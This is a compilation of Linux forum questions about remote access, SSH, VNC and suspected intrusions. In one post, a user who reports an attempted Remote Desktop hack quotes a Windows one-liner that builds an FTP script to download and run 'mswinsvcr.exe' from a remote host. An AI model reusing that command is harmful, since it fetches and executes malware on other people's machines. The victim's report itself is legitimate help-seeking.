Ubuntu Security :: How To Remote Access Home Pc

Jan 29, 2010

how i can remote access my pc at home from work ? on different pc that has access to INTERNET. what software shall I install on my pc at home ? I want to be able to install software on my pc at home from my work place, my home pc has unbuntu Linux ubuntu 2.6.31-17-generic #54-Ubuntu SMP Thu Dec 10 17:01:44 UTC 2009 x86_64 GNU/Linux

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Ubuntu Security :: Remote Access To Windows Partition?

Aug 8, 2010

Is it possible to remotely access, inject, manipulate files and/or folders in the Windows NTFS partition when logged into Ubuntu?

I'm either logged into Windows or Ubuntu but NOT both -- ever. Therefore, while logged into Ubuntu, would it be possible for someone to crack into Windows via Ubuntu using Wi-Fi or modem?

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Ubuntu Security :: Random Outside IP Trying To Access Remote Desktop

Jun 5, 2011

I was sitting watching a TV show on the internet (streaming from channel 4) and all of a sudden I get a request from an unknown IP address, outside of my local network attempting to access my ubuntu desktop, I obviously declined straight away and stupidly didn't take note of the IP I've checked my firewall settings and no ports are being forwarded, everything is as it should be. I am running Ubuntu 11.04, and a little bit concerned. As of now I have completely disabled remote desktop on my laptop.

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CentOS 5 :: 5.6 Upgrade - Security For Remote Access?

Aug 19, 2011

I setup a remote web server yesterday evening, which had Centos 5.3 on it. This went well, and I did this mostly over vnc, to get a GUI. However, I hadn't realised that there was a pending cron job to 'yum upgrade'. So, come 2am, 5.3 turned into 5.6. I carried on the install today, but after some time (I'm not sure exactly how or when), I lost the ability to run any GUI system config tools that required root login. I also lost the ability to run anything graphical - emacs, for example, when I was already root in an xterm.

/var/log/secure isn't telling me anything. It claims that it's running the config tool on my behalf, but nothing happens. If I try to run emacs, I get a message saying that the X server isn't responding. Could this be related to the upgrade? It feels like a PolicyKit problem - I've seen something similar on 6.0 for remote access over vnc - but 5.6 isn't running PolicyKIt.

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Ubuntu Security :: Access Remote Hard Drive From Another Computer

Jan 12, 2010

What I want to do is pull data from any of the hard drives attached to my Linux box from my Windows machine. I have been moving small amounts of data from the drives to my OS drive and those parts share easily, but I want to move away from that method to move large amounts of data at the same time.I have tried using Samba as it is used for file sharing between systems and that I have to give my Windows box permission through Samba.

Trick is, I'm not sure where to start, though I have an idea and wanted to know if this is the right track before I start editing my file system.

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Ubuntu Security :: Host Always Ask Password On 1st Remote Desktop (VNC) Access

Dec 30, 2010

host always ask password on 1st remote desktop (VNC) access Desktop version... how can I disable this?

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Security :: Use Different PAM Modules Depending On Local/remote Access?

Mar 16, 2010

I'm using a fingerprint reader on my laptop, works pretty well:

$sudo echo hi
Please swipe your finger:
[swipe finger here of course]


Like I said, it works nicely... until I try to SSH in and sudo something remotely, when it will ask me kindly to swipe my finger over the reader that's attached to the laptop which is on my desk at home thirty kilometres away. Naturally there's no method built into pam_fprint to abort via a keypress.

So, is there any way to tell PAM to only use certain modules if I'm in a locally logged in session?

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Ubuntu Security :: Unwanted Remote Desktop Access And Attempted Hack

Jul 20, 2010

I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
del eq&e

I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
del eq&echo open 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]

How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?

What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?

In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.

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Ubuntu Security :: Access Encrypted Home Folder From Recover Mode?

Nov 26, 2010

I logged in to Recover Mode ("Drop to root shell prompt") this morning to do something. Naturally, I wanted access to my encrypted home folder.

The README file says to run ecryptfs-mount-private. However, that command returns an error:
"ERROR: Encrypted private directory is not setup properly."

This cannot be correct, because if I log in normally, I get my home folder without any problem.

How can I access my encrypted home folder when I boot via Recover Mode?

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Ubuntu Security :: Security Changed In Remote Desktop?

Jul 6, 2010

I always use VNC to check my server for updates, and this morning I started the xvnc4viewer to vnc into my server and it keep asking for a password. I never setup a password because I do this local from my laptop, and I am the only one who uses my laptop. I had to go to my server and check the setting in System > Preferences > Remote Desktop and found them all changed. There was a password setup and there was a check mark in the you must confirm each access to this machine there some security update that changed all these setting? Sometimes when I do updates I don't know what is being changed on my server

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Ubuntu Security :: Security - Change Home Priviledges?

Jun 15, 2010

I have read that to improve security in Ubuntu a good fix is to make the /home folder tree non-executable by default. This would mean that malware could not run in the /home tree without changing the setup.Is this a viable change, or is it just icing on the cake, any one any thoughts on this.

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Ubuntu Security :: Remote Desktop (VNC) And Security?

Mar 24, 2010

So I've read a bit and it seems that this is okay and secure. But I wanted to double check here with everyone, because I trust here more than just about anywhere. I've read about the hipporemote (which is pretty cool) and I have it working. Basically I want to make sure my system is still secure.

1. I had to open a port on my firewall for the VNC connection.

2. I turned on the Remote Desktop
2a. Checked Allow other users to view....
2b. Checked Allow other users to control....
2c. Checked You must confirm.....
2d. Checked for password, and put in a password
2e. Checked Configure network automatically to accept connectios

So with doing all of that, am I ok? I think so, especially since it says its only accessible on my local network. But I just wanted to hear from people who know more than I do that I don't need to worry any more than normal about others accessing my machine. I'm mainly thinking 2e, I don't fully understand what's going on there.

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Ubuntu Servers :: How To Remote SSH Into Home

Aug 7, 2011

If I wanted to SSH into my server from a remote destination, it seems I would have to take the following steps.

1) In lieu of getting a static IP from my ISP, sign up with Dynamic DNS and use it instead.

2) My home server is not at the gateway. So I would have to forward port 22 (at the router) to my server's LAN static address.

3) Access my server via SSH remotely by going to \xxx.xxx.xxx.xxx:22 where the "x's" stand for the static IP address given to me by DynDNS.

Does this sound correct? If not, I'm not asking for hand holding, but a point towards a tutorial or how-to would be helpful.

Edit: Or... am I going to have to set up a VPN to SSH into the server?

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Ubuntu :: FTP From Home Computer To Remote Servers Slow

Jan 11, 2010

FTP from and from my home computers to 2 remote servers has become really slow over the past month. One of the remote servers I manage and the other one is taken care of by a hosting company, so I am thinking the problem is residing on my end. It doesn't matter if I am downloading 1 file or 10 files, they are all coming in at 9 kb/s which is really slow cause I have a 7 megabit connection. I've tried using multiple computers and still have the same problem. I am using proftp for the ftp server and filezilla for the client.

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Ubuntu :: Remote Control Running At Work From Home PC?

Oct 12, 2010

I have an Ubuntu 10.10 running on a pc at work. On my Windows pc I can use a free utility called Teamviewer which you run on the pc (no install needed) and then you connect without any need to VPN into my work network.

So, what would be the best way to connect from home and remotely connect to my Ubuntu system at work?

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Ubuntu Servers :: Centralized Login And Remote Home Directories?

Feb 7, 2010

In my desire to learn, mess around and set up something useful on my home network, I'm looking for something that can do centralized login and remote home directories. When someone in my family logs in to a computer, windows or linux based, I want them to be able to use their credentials, then have their remote drive mounted and ready for use. I've looked over ldap solutions, attempted to set up an OpenLDAP server and realized I have no idea what was going on. Is an ldap implementation the proper way to go for my desired solution or am I barking up the wrong tree? I've just now set up OpenDS on a VM for testing but I need to do some research there.

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OpenSUSE Network :: Home Machine Desktop Remote?

Sep 8, 2011

I may have to work in another state for some time, and I'd like to access my home machine desktop remotely, like this: Server - home machine, oS 11.4 64-bit, KDE 4.7, 1920 x 1200 screen (currently set to 24-bit color depth), 1 Mbps upload speed, behind a Dlink DL-524 router I manage.

Client: laptop, oS 11.4 64-bit, KDE 4.6.5, 1280 x 800 screen (also 24-bit color depth), unknown up/down speed - probably huge at work, crappy at apart hotel. I'd like to keep the server resolution, if possible, even if the client's is smaller. I want to be able to star/stop KDE apps in the server, move files between folders, and fix the issues that only happen when my wife is at the keyboard (it's a machine conspiracy, she says ). So I'd need to connect to the server's current session/user (which is myself, i.e., same login/password).

What do you recommend for this? I've read Swerdna's tutorial for 11.2/11.2 (a million seen malcomlewis xrdp 0.6 packages for 11.4 (you rock, malcomlewis!), as well as this thread: RDP into OpenSUSE 11.2, however most seem concerned with rdp between windows and linux boxes. Is there something better/faster/simpler for oS-to-oS RDP or should I use xrdp all the same?

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General :: How To Mount Remote Filesystem For / Home Directory

Oct 17, 2010

have a Debian server which I use to hold my home directory for my user account. I used to use Windows 7 and connect to my /home/username directory via Samba which worked great. I could access all of my files as if they were sitting on my local PC, but they were actually sitting on my Debian server.

Now I have decided to give Ubuntu 10.10 a try (looks promising so far!).One thing I'm not sure how to do is to mount my home directory from my server! I am able to open an sftp connection to my server, but not able to access them natively as they were /home/username on my local machine.I'm assuming I need to mount my home directory somewhere in my fstab before it starts up, but which protocol should I use? I'm used to using windows networking, but am trying to get more into linux.Should I use NFS?

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CentOS 5 :: Building Home NAS, Remote NAS For Local And Off-site Backups

Nov 11, 2009

I would like to replace my aging Freenas box with a CentOS based NAS. I would like it to have the following features:

- SAMBA with Web admin
- BIND with Web admin
- Nice to have would be native AFP support for my MAC

Question 1: Is SWAT still the current Web-based config tool for SAMBA or is there something newer?

Question 2: Is there a decent, reliable, web front end for BIND?

Question 3: Is there a current AFP guide for CentOS, everything I am finding via Google is years old.

I would also like to build a second server that I would host off-site to sync my data to.

- I was thinking OpenVPN for the link between the servers. The "remote" NAS will have to be the one initiating the connection.

Question 4: Is OpenVPN the way to go or is there something better? (I need bidirectional communications)

Question 5: Is rsync still the way to go for the data sync or is there something newer which would be lighter and/or faster?

Just need some "current" advice overall - I think the last SAMBA box I built was 4-5 years ago so what I learned then may not be applicable today.

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Ubuntu :: How To Set Up Remote Access To Computer

May 3, 2010

My home network consists of two computers that share one internet connection via a router. I have a desktop computer that runs Ubuntu (Karmic), connected via ethernet; and a netbook that runs Windows 7 (will be Ubuntu, eventually), which connects wirelessly. Both computers have multiple user accounts. What I would like to do is access my account on the Ubuntu desktop via the netbook while my wife is using the desktop with her account (or enable her to access her account on the desktop while I am using it). I looked into VNC, but it, apparently, only supports the active desktop. So, if someone connected to the computer while it was in use, they would be looking at the other user's desktop. Is this a misconception on my part?

So, I have 3 questions:
-From the netbook, how can I log into my account on the desktop and just get a command-line shell?
- From the netbook, how can I log into my account on the desktop and actually have access to my Gnome desktop?
- If I leave my house with the netbook, and want to log into my desktop machine across the internet (CLI and/or Gnome), how can I do that?

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Ubuntu :: 10.04 And Windows 7 Remote Access?

May 10, 2010

I have a Windows 7 (Home Premium) computer and another computer with a fresh installation of Ubuntu 10.04 (32-Bit) on it. Since I have the computer with Windows 7 and it doesn't come with Remote access due to it not being at least the Professional edition (which is really lame if you ask me!), I won't be able to access my Windows computer from my Ubuntu computer (from what I have gathered from [URL].. So my question is how can I access my Ubuntu computer from my Windows 7 machine? Does this require more then just installing Samba on the linux machine? I do have RealVNC Enterprise edition 4.51 if that will work?

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Ubuntu :: Remote Access (SSH Or VNC) Being Blocked

May 18, 2010

I can't seem to remotely SSH or VNC into my machine. If I'm on the LAN and try accessing via LAN IP, it works fine. If i go in through a remote address (my dyndns) or even my home IP, I can't connect (yes, all of the ports are forwarded, I've triple checked this multiple times). Interestingly enough, port 80 works just fine. It would seem as though some sort of firewall is blocking me. I've done this plenty of times before with various machines, and this has me quite perplexed.

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Ubuntu :: 10.10 - IPhone Remote Access Possible?

Feb 10, 2011

I'm relatively new to linux. I was wondering if there is any program available that will remotely access my iPhone. I have seen programs that let me controll my PC using my iPhone but i would like the other way around. The girlfriend doesn't have internet access at home and she's always texting me. Well if I find a program that lets me remotely access my device I can text her back without leaving the keyboard.
OS: Ununtu 10.10
iPhone 3G Jailbroken (3.1.3)

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Ubuntu :: Best Way To Acheive Remote Access?

Mar 7, 2011

New member here just looking for a solution for remote access over LAN and the internet. I've known Linux for seven years but have only begun working with it extensively the past couple months. I had recently tried a couple free VNC solutions but ended up giving up when nothing worked. TeamViewer ended up not working properly either and instead crashed at the end of each session. Any chance there's a simple solution to this?

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Ubuntu :: Remote Access Via Bluetooth?

Jan 4, 2010

I do what I can to Google and forum surf for answers. How possible, is it for someone like myself that is running:GNOME 2.28.1, Ubuntu 9.10 platform via my laptop, to use and control my desktop which was built by me, via my laptop if it's running the same platform...I've read posts about accessing Windows via Linux, however when it comes to find answers related to my issue, it keeps me from installing the OS on my desktop....If I can acheive that, would I then be able to control both units via speech recognition? The laptop unit has a built in microphone as well as bluetooth. The ultimate goal is to create a complete wireless environment accessible via bluetooth, command based or not...I know it might seem a bit farfetched, I'm just reaching the beginning stages of complications via SSH confusion and acknowledging Remote Access oppourtunities

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Ubuntu Security :: Remote Desktop Used From Internet?

Mar 21, 2010

Today I noticed my Desktop was being controlled remotely from over the Internet even though I had it set for 'local network only'. Foolishly I relied on this setting and hadn't specified a password or other security. The remote user had opened my Firefox passwords page and was perusing this when I pulled the plug.

All external checks confirmed that my router/firewall is actively blocking correctly. How could this happen? How can I prevent this in the future? I had recently install the Firefox extension for Weave Sync and wonder if that had anything to do with it?

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Ubuntu Security :: SSH Remote Port Forwarding

May 13, 2010

I'm trying to SSH into my home computer from a remote location outside of my house's LAN and can't figure out remote port fowarding.

The guide here says to use the following:


I've tried connecting to my home computer through many combinations of the syntax listed above, read the man file, and looked online for help. But can't find out the proper syntax or a good guide that isn't written for Windows users using Putty.

Let's assume for the sake of simplicity that the public IP address of my home SSH server is, the private IP address of my home SSH server is, my home SSH port is 2222, and the SSH port at my current location is is 22. How would I write out the command?

Every time I try to connect I get a "connection times out" error.

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Ubuntu Security :: Unauthorised Remote Desktop?

Nov 26, 2010

I just had a window pop up on my desktop saying my pc was being remotely controlled. Ubuntu 10.10The pc shutdown by itself, and I disconnected it from the net.I rebooted and uninstalled the remote desktop app.

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Ubuntu Security :: Remote Sudo In Natty

May 30, 2011

When I access a remote Natty client using VNC I cannot use the sudo command in a terminal. In fact, the terminal closes itself as soon as I type the sequence sud. Even su d. Or su d.

Sua, su a, su c, su e do not cause the terminal to close itself.

This appears to be some sort of new security "feature".

How do I "work around" it?

I'd better elaborate.

I have a remote Natty running 11.04 64-bit desktop version. I have installed tightvncserver on it. I log in on 5901 from a Ubuntu 10.04 64-bit desktop using vinagre. The desktop works fine except when I open a terminal in it and type sud. As soon as I type the d the terminal vanishes. This appears to be a deliberate feature. I also log in to other clients that run 10.04 and this does not happen. I have run Mint 11 in VirtualBox on my local machine and created the same remote desktop and viewed it from mint 11 itself. Same thing happens.

It seems to me that 11.04 has been modified to kill a terminal that is part of a VNC display when sud are typed.

how to remotely administer a 11.04 desktop?

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Ubuntu Security :: All Of /home Is Gone?

Jul 24, 2010

I started getting some sort of error when I logged in saying "Could not update ICEauthority file." I tried to solve this problem myself by Googleing around and I ran across a message that said to type the following command if /home is encrypted:

sudo chomd 700 /home/danny

I did that and when I logged in I noticed that everything in /home was gone! I think it is still there somewhere because there still seems to be about 500gb of hard drive space that something seems to be filling. It must be my old profile, right?

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